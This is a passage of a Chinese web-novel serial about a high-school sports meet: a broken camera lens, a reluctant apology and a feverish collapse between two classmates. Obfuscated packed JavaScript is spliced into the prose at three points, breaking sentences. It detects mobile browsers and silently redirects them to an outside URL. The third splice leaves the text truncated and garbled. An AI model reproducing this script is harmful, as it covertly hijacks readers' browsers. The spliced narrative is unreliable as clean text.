运动会第二天。 喻星旋出门之前,犹豫了半天,还是把相机装进包里,带来了学校。 虽然运动会年年有,但最值得纪念的,还是初入高中的这一年。 兴奋感和新鲜感,是会随着年龄增长不断减退的。 再加上,她也想用镜头,记录下陈嘉授跑步的姿态。 抛开别的不谈,他跑步的姿势真的漂亮,矫捷又轻盈,绷紧的肌肉线条如同雕塑艺术,散发着让人心跳加速的荷尔蒙气息。 他跑过终点时掠起气流,惹来许多女生的脸红和尖叫。 在教室里,喻星旋把相机从相机包里取出来,装好镜头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818995|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带去了操场。 到了看台,老王看到喻星旋胸前挂着的相机,嗬了一声:“你俩还挺有默契的哈。” 喻星旋疑惑:“老师……您说谁?” “班长啊,昨天我问他有没有相机,他说有,我就让他带来了。” 喻星旋:“。” “我跟他说,等今天结束,让他给咱们班多拍几张合影。”老王丝毫察觉不到喻星旋神色古怪,兀自来了兴致,“到时候给你俩组织一场比赛,比比谁拍得好!” 喻星旋:“…………” 没必要老师,真的没必要。 一整个上午,喻星旋都在留意广播里的400米决赛通知。 其实也不用留意,因为某一个时刻开始,看台后面就响起一阵潮水般的加油助威。 “要上了要上了!” “授哥加油,争取套他们圈!” 陈嘉授额前依旧束着发带,露出深刻鲜明的五官,听着男生们的玩笑话,他也笑骂了声滚:“四百米套什么圈,你表演一个我看看。” 喻星旋抬起眼,就看到一群男生簇拥着陈嘉授,走下看台,浩浩荡荡走向检录处。 挡不住的少年意气,让人心旌意动。 女生们也组织起来,去操场给陈嘉授加油。 李安蓝和商芝琳拉着手一起去,她们本想叫上喻星旋一起,但她拒绝了:“我在看台上看就好。” 她们离开后,喻星旋打开相机,居高临下地对准了跑道。 在所有人的注意力都专注在操场上的比赛时,就算把镜头堂而皇之地对准陈嘉授,也不会有人发现。 但喻星旋还是会感到羞耻和不自在。 为她不能免俗地,也在注意着那个许多女生都喜欢着的人。 于是,她对着树、对着人群、对着横幅、对着迎风招展的彩旗按下快门,又不经意地把她想捕捉的那个人的影像夹杂在其中。 看台上爆发出一阵山呼海啸般的尖叫,决赛开始了。 “陈嘉授!加油!二班!加油!” “班长——冲啊——!” “有了!有了有了!!!” 少年以无比迅疾的身影,第一个冲破终点线。 “啊啊啊啊啊——” 看台上二班的同学全体起立,几乎叫哑了嗓子。 终点线旁等候的观众,也翻越围栏,一哄而上。 人群顷刻间将他包围在最中央。 直到—— 陈嘉授拨开了人群,从簇拥中走出。 他甩开身后众人,独自沿着跑道向前行,宽阔的背影透着几分孤绝的意味。 就像是拒绝加冕、独自凯旋的勇者。 喻星旋的心跳快得有些不受控制,本能悄悄地战胜了意志。 无论怎么抗拒,她都抗拒不了这一刻的陈嘉授。 耀眼得让人很难不心动。 … 二班是体育困难户,两天拿过的奖牌一只手都能数过来。 陈嘉授的金牌刚一拿回来,又立刻陷入了被争相传阅的命运。 老王有事不在,喻星旋坐在看台最前面的桌边,正在摆弄自己的相机。 喻星旋一心二用,她看到陈嘉授回班,却不想他没有朝后走,而是在前面停了许久。 忽然,他屈指敲了敲桌面:“帮我拿瓶水。” “哦。” 喻星旋弯腰,从桌底的箱子里抽出一瓶水递给他。 陈嘉授靠着栏杆,不作声地仰头喝水。 一只骨节分明的大手随意地搭在桌面上,几乎竖在喻星旋眼前。 运动后,他浑身散发着滚热的潮意,一点点传到她的鼻息间,跟他平时清淡收敛的松木香很不同,肆无忌惮地入侵别人的领地。 他身上却没什么汗水的味道。 喻星旋刻意忽略掉他的存在,捧着相机,从相册里的第一张开始向后翻。 如果站在这里的是其他参加完比赛的同学,喻星旋觉得自己应该会跟他说一声比赛辛苦。 却想起她昨天拿金牌,陈嘉授连一句祝贺都没有。 喻星旋决定礼尚往来,她才不想让他觉得,她对他有哪怕一点的关注。 “喻星旋。” “……” “你知道我早上有什么项目吗?” 搞那么大张旗鼓,谁还不知道。 隔壁班的都知道。 喻星旋缓慢地开口,有些惜字如金:“四百,决赛。” 她低头继续按着相机按键,头都不抬。 下一秒,陈嘉授的手就那么落到她相机的开关键上,轻轻一拨,强行给她按了关机。 屏幕瞬间漆黑。 喻星旋皱眉,但很奇怪这次也不是很生气,她慢了半拍,努力做出生气的样子:“……干什么?!” 陈嘉授声音压得很低,带着些砂纸滚过的哑:“你就一直在上面看?” 24. 安抚 . 感受到他话里有兴师问罪的意思,喻星旋足足怔了两秒钟,心底漾起一丝波澜。 但她偏要跟他对着干:“不是。” 陈嘉授挑了挑眉,像是有些意外:“那你刚才在哪?” “我一直在这里,没注意别人啊。”喻星旋故作惊讶,上下打量了他一遍,又看了看四周,微微睁大了眼睛,恍然大悟一般,“你怎么在这里啊,你的项目已经结束了?” 陈嘉授:“……” 又是这副故意抓不住重点的模样,她不想回应的时候,他就像一拳打在棉花上。 那年陈嘉授还不知道什么是回避型人格,他只是一见这样的喻星旋就喉咙发痒。 如果不是当着这么多人的面,他简直想握着她的肩膀把她掰正,再掐着她的下巴逼她抬头直视他。 陈嘉授眯了眯眼,深黑的眸光翻涌。 实在咽不下这口气,他忽然伸手,在她额头弹了一下。 虽然收了劲,但女生白皙光洁的额头还是立刻浮现了一块红色的印子。 额头一阵剧痛,像被人迎面丢了颗石子。 喻星旋“唔”了一声,条件反射地抬手捂住。 她抬眼,惊疑不定地瞪着陈嘉授,清冷的眸底几乎瞬间覆盖上一层水意,是痛的。 她口不择言地骂他:“你有毛病吧。” 男生不清楚自己力气有多大,没控制好力道,喻星旋过于激烈的反应让他也有点迟疑:“有这么疼吗。” “要不你试试?” 喻星旋正心疼地揉搓着额头被他弹过的一小片皮肤,男生忽然微微俯身,灼热的气息压下,停在一个她抬手能够得到的距离。 “……干嘛?” 他不怎么情愿地:“让你弹回来。” 谁要弹回去啊!喻星旋如临大敌,咻的一下拉开距离,“离我远点,你头上都是汗。” 她还嫌弃上了。 而且哪来的汗,他跑完连朋友准备的水都没接,洁癖发作,第一件事是先用湿巾擦脸。 陈嘉授轻嗤了一声,仿佛毫不意外,站直身体,转身去找朋友,轻飘飘落下一句:“真让你你又不敢。” “……” 桌上还放着他喝剩半瓶的矿泉水。 “喂。” 喻星旋指了指:“你的水。” 陈嘉授背对着她摆摆手,穿着运动服的背影透出一股肆意轻狂的味道:“帮我处理一下。” 许多前排的同学看到了陈嘉授弹她额头的那一幕,好奇探究的目光落在她背后,喻星旋觉得背后像有针在扎。 她的心砰砰直跳,脸上却面无表情,果断地把那半瓶水扔进垃圾桶。 反正是他让她帮忙处理的,左不过就是这个意思。 快到中午,祝媛来二班找喻星旋吃中饭。 学校附近开了一家人气很火爆的东南亚餐厅,最近开业酬宾,早上十一点开始,到店的前二十名客人,一百块以内的消费都可以免单。 刚好赶上运动会,学校难得管得不严,祝媛早就摩拳擦掌,准备拉着喻星旋一起去薅羊毛了。 “闪闪,你动作快一点嘛,昨天我们就去晚了没赶上。” “知道了,马上。” 喻星旋收拾好东西,快速地和祝媛奔跑穿过人群。 单反相机挂在脖子上,一跑起来就坠着脖颈,喻星旋索性把相机摘下来拿在手中。 忽然发现,镜头盖怎么不在上面。 喻星旋瞬间有点慌,立刻小心地检查镜头,好在没有污渍和划痕。 这个镜头是不久前奶奶给她买的,喻星旋特别宝贝,不用的时候都好好地收在相机包里。 不是刚才跑过来时掉在半路,就是放在看台,忘记扣上。 祝媛注意到异样,问她:“怎么了?” “我的镜头盖不见了,可能掉在了刚才的哪里。” 祝媛看了看时间,虽然预感到可能来不及,但她还是拉上喻星旋往回走:“走吧,我陪你回去找。” “不用两个人一起。”喻星旋扯住她的手臂,“你先去占座吧,我找到了就去找你。” 看着祝媛跑向校门口的欢腾身影,喻星旋也打算原路返回。 脑海里慢慢回忆,有一阵子周围的人多,她怕镜头盖被挤掉,就随手放在看台桌子的桌斗里了。 确定没丢,喻星旋松了口气,步子放缓。 回操场要路过超市。 超市门口摆着几张露天的桌椅,偶尔有学生坐在那里。喻星旋的视线忽然被其中一个单手撑头的少年吸引。 不是陈嘉授又是谁。 他像是在玩手机,没掺和周围朋友的热聊,冷而寡淡的模样。 身上像装了磁石。 不知怎么,喻星旋的步子就偏离了轨道。 反应过来时她已经站了过去,鬼使神差地开口:“……陈嘉授。” 陈嘉授寻声抬头,刘沐彭骏一几人俱是一副看戏的表情,伸长了脖子。 “怎么。” 陈嘉授的视线从她那双微垂的眼睛一路向下,最终定格在她手中的单反相机上。 印象里她好像都没怎么喊过他名字,更别提主动找他。 昨天回家吃过药,他的体温已经降下去了,但感冒药的副作用让他今天都不是太有精神。 尤其是比完赛,体力消耗过度,他这会儿还没怎么复原。 而现在,陈嘉授却忽然来了兴致,戏谑地点了点她的相机:“什么意思,找我拍照?” “……” 他在自作多情什么。 但陈嘉授又不是自作多情的人,喻星旋瞬间明白,他绝对是当着他朋友的面故意说这话的,好显得自己很受欢迎。 喻星旋瞬间后悔起先前的冲动,但开弓没有回头箭,她硬着头皮说下去。 “我想请你帮个忙。”为了防止陈嘉授再借题发挥,她一口气说完,“我有事要离开一阵,相机的镜头盖在看台桌子的抽屉里,你过会儿如果回看台,能不能帮我盖好?我中午就来找你拿。” 她们最多也就吃半小时,还赶得及在上午运动会结束之前回来。 “你那么放心我?”陈嘉授抬了抬下颏示意,“不小心给你摔了怎么办。” 彭骏一笑着撘他肩:“同学,陈嘉授有钱,摔了让他赔你十个。” “……”喻星旋确实也有些不放心,顺着彭骏一的话就坡下了,“那就算了,总不能真让他赔。” “拿来。” 陈嘉授忽然冲她摊开手。 喻星旋眨了眨眼睛,不确定地:“嗯?” 陈嘉授今天罕见没什么正形,后背懒洋洋地贴着桌沿。 喻星旋迟疑地递上相机:“……你能小心一点吗,别摔了。” “行了,托孤呢?” 陈嘉授略一用力,相机脱离开她的手。他笑,“什么时候找我要?” - 喻星旋到餐厅的时候,祝媛已经点了一桌子美味,一看到她,就觉得有哪里不对。 “盖子找到了?对了,你相机呢?” “路上遇见了……一个同学,让他帮忙替我拿回去。” 但这位同学姓甚名谁,她也有点说不出口。 好在祝媛压根没多想,甚至也没问是男是女。把一碗粉推到喻星旋面前:“你快尝尝,他们家招牌!” 叻沙粉酸辣醇厚,十分新奇的味道,喻星旋连吃了好几口,听着祝媛又在她耳边打开了话匣子。 “上午秦雅书跑去给你们班陈嘉授加油,拿的居然是用我们班班费买的运动饮料,可抠死她算了!” 祝媛把芒果糯米饭当成秦雅书的脊梁骨猛戳几下,“啊啊啊气死了,我交班费可不是为了让她占小便宜的!” 他肯定没接,不然也不会回班级要水。 对于这一点,喻星旋还是能确定的。 “话说回来,我觉得她追陈嘉授,纯粹就是因为虚荣心,她平时就只喜欢巴结家里有钱的。”祝媛忍不住幸灾乐祸,“不过我就欣赏陈嘉授这一点,秦雅书这一套对他没用,据说她到现在还没加上他微信呢——” 喻星旋搁在桌面上的手机“叮”的一声,屏幕亮起。 是微信的图标。 她摆摆手示意祝媛等会儿再聊,顺手划开锁屏。 筷子跌落桌面。 那是一条好友验证消息。 -请求添加您为好友。 验证消息:我是陈嘉授。 其实,根本不用看验证消息,喻星旋就瞬间认出了他的头像和昵称。 陈嘉授头像是一片漆黑。 但点开大图,就能看到画面中央缀着一个白色发亮的圆形光点,被一圈圆环围绕着,烘托着。 早在开学没多久,她最讨厌他的那段时间,她就怀着把这人从头批判到脚的心理,在班群成员的列表里找到了陈嘉授的名片。 觉得他头像怪怪的,喻星旋还特意上网搜过。 原来那是一张遥远模糊的土星图片,外面围绕的那圈光圈叫做土星环,是土星最最典型的象征。 当时喻星旋非常不屑。 这头像,这网名,果然跟他的人一样,冰冷又装腔作势。 后来开始暗恋他,她许多次从班群打开陈嘉授的名片,总觉得这是巧合,亦或是缘分。 他的头像有她名字里的字。 但她不会自作多情到觉得这跟她有什么关联。 添加好友的选项触手可及,但她一次都没选择按下。 没有合适的理由,她才不会平白无故申请加他微信。 而现在,喻星旋越发觉得她的矜持和退避是正确的。 他如果有事找她,自然会主动加她好友。 喻星旋一边想着,一边下意识点了接受。然而很快,她心底就浮现了一个不太好的预感—— 陈嘉授怎么偏偏这个时候加她,她刚把相机交给他十分钟。 难道只是巧合么? 心底的不确定越来越浓厚,喻星旋不好意思把朋友晾在一边,安抚道:“你先吃,有个同学找我。” 喻星旋:【有什么事吗?】 上方的“对方正在输入”闪了又闪,像一场漫长的拉锯战。最后对面发来一条:【你去哪了?】 喻星旋:【我在吃饭,在学校附近新开的东南亚餐厅】 陈嘉授:【你先吃完吧,回来再说】 ……喻星旋被他含糊其辞的态度搅得一阵毛躁:【到底出什么事了,是不是相机出了什么问题?】 另一边。 陈嘉授将手机息屏,看向一边的罪魁祸首。 白峥一脸做错事地站着。 喻星旋的相机摆在桌上,镜头被摔得整个裂开。 白峥紧张地咽了口口水:“阿授,怎么样,喻星旋怎么说?” 陈嘉授没好气地:“说你早晚会冒失死。” “对不起啊……”毛手毛脚的是自己,白峥也无力辩解。 他知道陈嘉授今天带了相机,看到他手边放着一个,就以为那相机是他的。 结果一下没拿稳,相机掉到地上,中途在桌角磕了一下,意外就这么发生。 如果相机是陈嘉授的,还好一些,毕竟是多年朋友,陈嘉授为人大方,不会怎么跟他计较。 但偏偏是喻星旋……他明白她上次的意思是希望跟他保持距离,所以最近都识趣地没有去打扰。 而现在,他居然还摔坏了她的东西。 喻星旋不会更讨厌他吧? 白峥都要哭出来了:“阿授,你说等她回来,我赔她一个镜头行吗?” “这件事我也有错。” 答应帮人看东西却没看住,他也是看管不力,陈嘉授没打算逃避责任:“至于怎么赔,问问她的意思吧。” 抬眸,他视线定格在远处。 喻星旋一路跑过看台,几乎是不管不顾地这边奔来。 停在他们面前时,手扶着膝盖,张嘴喘着气,跑出了一额头汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818996|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都来不及擦,还没站稳就一把夺过相机。 “对不起喻星旋,我以为是阿授的相机,不小心摔坏了,你……” 喻星旋已经什么都听不见了。 镜头最外层的UV镜已经碎得没法看,但只要换一片就好。喻星旋存了一丝希望,小心地把玻璃碎片拨开检查里面。 待看清,全身的血液都向头顶冲去。 里面成像的镜片也碎了,坏得彻底。 陈嘉授看着女生极力忍耐却还是越来越黯淡的表情,心头揪了揪。带了点小心地开口:“抱歉,是我没看好。你是想赔你一个同样的,还是换一款别的……” “我说了让你赔吗?” 喻星旋抬眼,眼圈都红了。 这个镜头,是奶奶买来送给她的那个。 记得那天是爸爸的祭日,她无端地有些难过。下午跟祝媛出门,晚上一回家,就看到奶奶把她最想要的镜头摆在她桌上。 老太太对摄影一窍不通,不知道那天下午走了多少地方,费了多少口舌才替她准备了这份惊喜。 事情已经发生,她不想责怪陈嘉授对她的物品一点都不上心,却还是免不了被他的态度刺痛。 贵重财物在自己手上损坏,一般人多少会有些紧张,怕对方狮子大开口要天价赔偿。 但陈嘉授此刻却气定神闲,明晃晃地一副“你开个价吧”的有钱人做派。 陈嘉授微怔,迟疑了一下,下意识问:“你想怎么样?” 这话落在喻星旋耳中,无异于在指责她无理取闹。意思是:我都说了要赔你还想怎么样。 白峥弱弱地替陈嘉授辩解:“喻星旋,那个……其实不是阿授的问题……” 喻星旋已经不想跟他们多争辩,只想找维修店看看能不能补救。她抹了一把眼睛,努力把委屈咽回去,语气冰冷:“是,不是他的问题,全是我的错。” 的确是她的错。 她知道这个镜头有多珍贵,就不应该冒险把它交到别人手里。 还对别人有所期待,认为他也会像自己一样重视。 白峥:“不是,你误会了……” 喻星旋再也不听他们的解释,把相机抱在怀里,转身向操场外走。 祝媛气喘吁吁地追过来:“闪闪,没事吧?” “对不起,不能陪你了。”喻星旋提不起一点力气,“中午我得去找家店修镜头,下午也不一定回来,你不用等我。” “我跟你一起去吧!” “你下午不是还要主持闭幕式?” “……那好吧,闪闪你别担心,附近那么多维修店,肯定能修好。” 喻星旋不抱什么希望地点点头。 看着她背影一步步变小,变淡,陈嘉授指节用力屈起,拳在腿面上握紧。 蓦地,浮现了一种类似于怜惜的情绪。 祝媛看看陈嘉授:“是你把喻星旋的镜头摔了?” “不是他,是我。”白峥不好意思地对祝媛说了事情经过。 “你也真是的,能不能小心一点。” 陈嘉授眉头紧锁:“我说了赔她新的,但她不让。” “我知道了。”祝媛瞬间就明白过来,“因为这个镜头,可能是喻星旋的奶奶给她买的那个。” - 午休时间,喻星旋走遍了学校附近和大学城的所有电子维修店,得到的回复是一致的——镜头碎得太彻底了,有维修的钱,还不如重新买新的。 有一家店的老板建议她,如果非要修,只能去电子城看看。 喻星旋午饭都没吃几口,走出维修店,又饿又疲惫。 她决定先吃点东西,下午再去。 拿出手机,她发现祝媛给她发了微信:【我把中午的饭打包放你桌子上,你回班记得吃一点】 喻星旋心间划过一道暖意,这可能是这兵荒马乱的一个中午内,她最宽慰的时刻。 吃了东西,喻星旋在桌上趴了一会儿。她没有一点睡意,趴着的姿势本来就容易呼吸不畅,喻星旋的眼睛、鼻腔和胸口,渐渐堵得喘不过气。 想到包里碎裂的镜头,她枕在手臂上,无声地哭了起来。 她哭得隐蔽,中午有同学在教室休息,也有人进进出出,就算路过,也只是觉得她睡着了。 没过多久,操场的方向传出了《运动员进行曲》的音乐,下午的运动会也拉开序幕。 班里的同学三五成群地下楼。 两人结伴从喻星旋身边走过时,兴致高昂地聊着下午的项目:“快走快走,混合接力比赛两点半就开始了!” 声音飘远,教室里再度只剩喻星旋一人。 她迟钝地想着,混合接力,不就是李安蓝她们的项目。 听李安蓝说,她们这个项目,应该有把握拿牌。 也就是说,今天下午,陈嘉授会再一次大出风头,获得许多掌声和赞美。 可是,凭什么呢?凭什么有人哪怕犯了错也不会提心吊胆,反而还能过得那么轻易。 而她就既拧巴又费力? 教室里,能听到远处操场上传来的广播:“请各班参加4x100混合接力项目的同学速到检录处集合……” 盖过了此时教室里,由远及近的脚步声。 本应该在检录处检录的陈嘉授,此刻却回到了班级。 一眼就发现女生孤零零地趴在桌上,他走到她桌边,她仍然埋着头。 脊背清薄,黑色发梢微乱,盖着一截白皙的脖颈。 陈嘉授喉结滚动了一下,伸手探过去,又觉得不妥,临时改变了方向。 修长手指落在她颈后,隔着她的校服衣领,安抚地捏了捏她后颈,一触即离。 喻星旋触电般地弹起身,同时听到他说:“起来。” 喻星旋脸颊潮乎乎的,睫毛还湿润着。她一动不动,戒备地问:“干什么。” “你说干什么?” 男生目光落在她脸上,一贯冷冽的声线,勉强地柔和了几分,“带你去修镜头。” 25. 小陈总 . 喻星旋没想到陈嘉授出现,一时愣愣地看着他。 数秒钟后,她淡淡别开视线:“不需要,我下午本来就要去。” “那你刚才哭什么?” “……” 明明从小到大都是要强的人,偏偏为数不多哭的两次,全都被面前这个人撞见。 喻星旋懒得理陈嘉授,拽起相机包的背带,故意地挤开他,往教室外走。 陈嘉授没站稳,居然真的被她撞得一歪。 他荒谬得想笑。 还挺有骨气的,他倒真想看看她打算怎么办。 陈嘉授亦步亦趋,跟着喻星旋来到校外。喻星旋回头扫了一眼,见他还跟着,打出租的想法暂时打消,径直走去了校门口的公交站牌。 像这种坐惯了豪车,打车不看起步价,衣服脏了说扔就扔的大少爷,她非得让他尝尝生活疾苦。 等了十分钟,27路公交姗姗来迟。 喻星旋上车后,投了两个一元硬币。 车上有不少空座,她笔直走向前排的单人座坐下。 陈嘉授一上车,就被投币口绊住脚步。 那一年,公交扫码支付还没推行开。 而他身上,没带零钱。 陈嘉授眯眼看向后排,喻星旋对上他视线,立刻转头看向窗外。 司机似乎看出他的窘迫,一句声如洪钟的:“不找零哈!” “……” 陈嘉授啧了声。 最后,投币口张开大嘴,吃掉了他一张二十的纸币。 陈嘉授穿过狭窄的过道,像是一开始也没打算跟她坐一起,迈着傲慢的步伐走去最后一排。 公交后面的台子架高,陈嘉授个子高,一走上台阶,就被迫只能弯腰。 他很少坐公共交通,乍一坐,觉得一路上看看车窗外风景打发时间也还不错。 然而,随着公交车发动起来,他立刻开始后悔之前的侥幸心理。 他晕车。 尤其是,车尾是整个车厢颠簸最剧烈的地方,刹车和颠簸时,陈嘉授只觉得五脏六腑都在相对位移。 陈嘉授趁着等红灯,换到了后排最前面的位置,手臂搭着栏杆,拼命忍着胃里的翻江倒海。 “陈嘉授。” 听到有人叫他,陈嘉授装作若无其事地坐直。 他的嘴唇苍白,额角也渗着冷汗:“怎么了?” 喻星旋已经来到了后门边,丝毫不受影响一般的神清气爽,提醒他:“下一站下车。” … 说是电子城,其实跟地下商场也差不了多少,一个个巴掌大的门店鳞次栉比,修电脑的,修手机的,让人不知从何挑起。 尤其是,这里的铺子多,卫生条件也一般。烟臭,霉臭,混合着说不上来的其他怪味,陈嘉授几乎屏着呼吸,他怕自己真的会忍不住吐出来。 喻星旋随意问了一家,老板说能修,只是要收两千。 “这么贵?”喻星旋皱眉,收回镜头,“算了,我去其他家问问。” 老板急得追出来:“你去其他家也是这个价,我家已经很良心了。” 喻星旋头都不回:“那就不用你操心了。” 但接下来,她又连续问了几家,价格都不算好。 而陈嘉授的耐性已经告罄。喻星旋转身要走,相机的背带被他从后扯住。 陈嘉授一字一顿:“就这家。” 她又露出了那种匪夷所思的表情:“这家的老板刚才说收两千二!” “谁让你给我省钱了?” 女生昂着下巴回敬他:“谁答应了?我自己修得起。” “……”陈嘉授只想早点从这里出去,也不再跟她纠缠斗嘴,大步走进店里,扫码给老板转了两千二,“现在就给她修,尽快。” 老板天降一笔横财,实在没想到居然有人连价都不讲,如此爽快地挨宰。 喻星旋气得眼睛圆瞪,一句话都说不出。 但钱都付了,老板不退。她心不甘情不愿地把镜头给了老板,板着脸把陈嘉授拉到一边。 “你知不知道,人家现在在笑话我们两个脑子有问题?” “差不多得了。”陈嘉授胃部一阵抽搐,他抬手按住,也不知道是因为晕车还是被她气的,“我发现你这人,好处都拿了,嘴上还非得给自己找场子,得了便宜还卖乖。我刚才多付了两百块钱,你现在就给我消停会。” “不用!我现在就把钱转你!” 陈嘉授扶额:“……我不是那个意思。” 他现在觉得,喻星旋简直就是上天派来折磨他的。 他根本猜不透她生气的逻辑,人生前十几年积累的习惯经验,在她这通通失效。 下一秒手机发出嗡鸣,陈嘉授一看屏幕,无语得只想笑。 她给他微信转账一千一,一分不多一分不少。 “你要是觉得亏了,另外一半我过两天再还你。” 陈嘉授看着视线里她一开一合振振有词的淡红色嘴唇,简直想一把给她掐住:“喻星旋你掉钱眼里了?非得算这么清楚?” “是啊,你就当我掉钱眼里好了,不像你们这种人,根本没有在意的东西。” 陈嘉授怒极反笑,逼视她,如同火撞上冰:“好,好,我没有,我他妈推了接力就是为了跑这里来听你骂我。” 怒火几乎要破顶而出,他就没见过喻星旋这么不识好歹,又强词夺理的人。他的眼眶滞涩,连转动眼球都很困难,重重地喘着气,眼前的世界忽然开始天旋地转。 头脑晕沉,连四肢都开始不听使唤—— 他看到喻星旋永远吐不出一句好话的嘴巴,但耳边嗡嗡作响,她的声音就像隔着一层很厚的玻璃传来。 “你怎么了?陈嘉授你别吓我啊!” 少年颀长的身体向前倒去,喻星旋下意识张开手臂去接,他扑向她的姿势像玉山倾落,喻星旋勉强支撑他站住,脖颈处的皮肤几乎要被他炙热的呼吸烫伤。 喻星旋愣了一下,才发现那具贴着她的躯体,居然烫得要命。 他……还在发烧? - 陈嘉授睁眼时,嗅到劣质床单被罩散发出的消毒水味。 望着天花板,他渐渐找回些记忆。 他现在,正躺在一张清醒状态下他绝对不会躺的诊所病床上。 男生唇线动了动,像是有话要说。 “你醒了。” 喻星旋替他看了两个小时的点滴,看到他终于睁了眼,心上悬着的大石头终于落下。又开心又无措:“对不起,如果知道你吵架会晕倒,我刚才一定不跟你吵架。” “……” 不知为何,听完她的道歉后,陈嘉授的眼皮又重新阖上了。 “你要喝水吗?我去给你倒一点。” 陈嘉授闭着眼睛:“相机,修好了吗。” “老板说修好了,让我有空过去拿。”她看着他形状漂亮的眉骨和长而浓密的睫毛,声线有点抑制不住的跳跃,“……多亏了你多付的两百块钱,老板心里过意不去,开车把你送来了最近的卫生院。” 陈嘉授:“……” “还有,李安蓝说,我们班接力拿了牌,你现在可以放心了。” “不过你发烧了为什么不说啊,难道运动会你都是带伤上阵?” 她今天话实在太多了。 还每句都在往他的心上戳刀子。 陈嘉授皱了下眉,她还在用那把清得像玉一样的嗓子,在他耳边没完没了地说着:“陈嘉授,我觉得你可能是在真空里长大的,以后你还是别勉强自己去逛市场,也别逞强坐公交……” 陈嘉授冷冷的:“看我倒霉很开心?” 这话本来是一句质问,却因为虚弱听起来带了丝委屈。 喻星旋心说他怎么把她的心里话说出来了,嘴上却装傻:“我没有啊。” “你就想看我倒霉是不是?” 喻星旋怕真的会在陈嘉授面前笑出声来,只能找个借口先出去:“……这瓶药要打完了,我去叫护士给你换。” 她一走陈嘉授就睁开眼,尽管身体烧得有些虚弱,他还是努力支撑着自己在床上坐起。 他一秒钟都不想跟床单多接触。 很快,喻星旋带着护士回来。 换了药,护士说打完这瓶,再量个体温,温度降下来就可以出院。 这间病房没有其他患者,护士一离开,气氛立刻安静。 墙上挂钟滴答,他们一个坐在床上,一个坐在椅子上,似乎都在等待着对方先开口。 良久,陈嘉授先叹了口气。 “有点良心行不行。我都这样了,你还嫌不够满意?” 他手背上贴着胶布,还未完全退烧,颧骨有些发红。 夕阳静悄悄,从窗边爬进屋内,将他们周身都晕染开一层暖色的金光。 明明陈嘉授的语气和表情都算不上柔和,喻星旋却在那个瞬间,忽然看见了他身后举起的白旗。 他不是个完美的人,有弱点,会道歉,会示弱。 不是红色跑道上耀眼的胜利者,受人追捧的代名词。他会跟她吵架,也会意气用事,也有活人感和少年气很重的时刻。 她从来没有喜欢过其他人,自然也不知道,人会不会重复地,对同一个人动心两次。 但现在,答案好像已经呼之欲出。 “哦。”她低下头,难得乖巧地双手放在膝上,前后晃了晃,“那你需要什么,及时叫我。” - 陈嘉授这场感冒又持续了一天才彻底痊愈。周末,陈少威非说要他出门除除晦气,原本携陈蔚出席集团新开业的高档酒店的剪彩仪式,这下把陈嘉授也一并带上。 酒店依山而建,环境秀丽,山后平地上建着一个百公顷的崭新的高尔夫球场。 杨蕊心爸爸是长南市的一个副处级干部,也被邀请来现场观礼。 陈少威知道儿子不喜这类交际场合,应酬的间隙拍拍陈嘉授:“后山有个高尔夫球场,你先带同学去体验下。” 摆渡车将他们送到球场。杨蕊心因为月考那会儿惹陈嘉授生过气,全程都不怎么敢跟他搭话。 换好装备出来,她见陈嘉授并没对她表现出排斥,试探地问:“陈嘉授,刘沐他们都说,你运动会第二天下午没来参加?” 陈嘉授并不打算做多解释:“嗯。” “你们班接力最后拿了银牌,如果你上场,肯定能拿金牌。” “谢谢。”陈嘉授礼貌道,“但集体项目,我上也不一定。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喻耀宗是她三叔家的堂哥,今年高二。两家已经数年没有来往,平时他们在学校里遇上,也装作不认识。 “有事?” 喻耀宗哈哈地干笑两声:“这不是听说周末要开家长会了吗,你还让老太太来给你开?” “不然呢?” “听我爸说,老太太前阵子崴了脚,医生让她静养。她平时不是就疼你吗,你说你怎么一点都不心疼她?” “关你什么事。” 喻星旋的这个堂哥,跟她三叔一样,没本事还满口说教。 喻耀宗从小就被爸妈教育,说他作为这一代唯一的男丁,以后家里的一切都是他的,因此非常讨厌喻星旋。 很多年以前,他们一家人还上门来看刘素平。 直到喻星旋五六年级的时候。一次喻耀宗跟她发生了口角,骂她赔钱货,花他们家钱,让她从奶奶家滚出去。 女生发育比男生早,那时喻星旋比喻耀宗长得高,力气又大,把他揍得没有还手之力,她抬手一推,喻耀宗的脑袋撞到墙上,肿起一个大包。 喻耀宗痛哭流涕,呜呜地哭着跑进妈妈怀里告状。 三婶来老太太家撒泼,被她拿拐杖打出去。 刘素平守着家门,中气十足地指着她的鼻子:“你敢欺负我孙女,我就当以后没有喻建波这个儿子!” 从那以后,三叔一家就再也没上过门,除了过年怕被人指点,会来刘素平家拜个年,但连饭都不吃就匆匆离开。 喻耀宗深吸一口气,想起爸妈的嘱托,虽然不情愿,还是摆出讨好的嘴脸:“你看让我爸去给你开家长会怎么样?” “……黄鼠狼给鸡拜年。”喻星旋深知这一家人的德行,“不必了,就算老太太来不了,我自己也能给自己开。” 喻耀宗气得想动手,想到是在学校,又忍住了。 